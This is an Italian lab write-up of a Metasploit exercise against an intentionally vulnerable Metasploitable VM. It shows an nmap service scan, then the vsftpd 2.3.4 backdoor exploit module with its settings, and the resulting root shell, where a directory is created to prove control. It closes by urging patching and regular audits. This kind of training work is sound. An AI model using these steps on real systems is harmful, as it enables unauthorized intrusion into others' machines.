

Hacking con Metasploit

Attaccante: Kali Linux con indirizzo IP statico 192.168.1.2

Target: Metasploitable con indirizzo IP statico 192.168.1.149

Per identificare i servizi esposti sulla macchina target, è stato utilizzato il comando:

nmap -sV 192.168.1.149

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 14:34 CET
Nmap scan report for 192.168.1.149 (192.168.1.149)
Host is up (0.0033s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
```

Nella foto è evidenziato il servizio che interessa a noi **FTP v2.3.4**

Una volta aperto Metasploit con il comando **msfconsole** da terminale di kali linux è stato caricato il modulo exploit appropriato **exploit/unix/ftp/vsftpd_234_backdoor** settato l'ip della macchina target da attaccare **set RHOSTS 192.168.1.149** **show options** per verificare che tutti i requisiti per la riuscita dell' exploit fossero soddisfatti.

Una volta soddisfatti tutti i requisiti necessari, potremo lanciare l'exploit con il comando **exploit**.

Dopo l'esecuzione Metasploit ha fornito accesso al sistema tramite una backdoor. Una volta stabilita la connessione, è stato utilizzato il comando Linux **mkdir** per creare una nuova directory sul sistema target: **mkdir /test_metasploit**

```
root
mkdir /test_metasploit
cd
sh: line 10: cd: HOME not set
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```

la directory è stata creata con successo , dimostrando il pieno controllo del sistema compromesso.

Conclusione

Questa esercitazione ha dimostrato come sia possibile sfruttare una vulnerabilità nota per ottenere accesso non autorizzato a un sistema remoto, per questo è molto importante mantenere aggiornati i servizi di rete ed eseguire regolari controlli di sicurezza.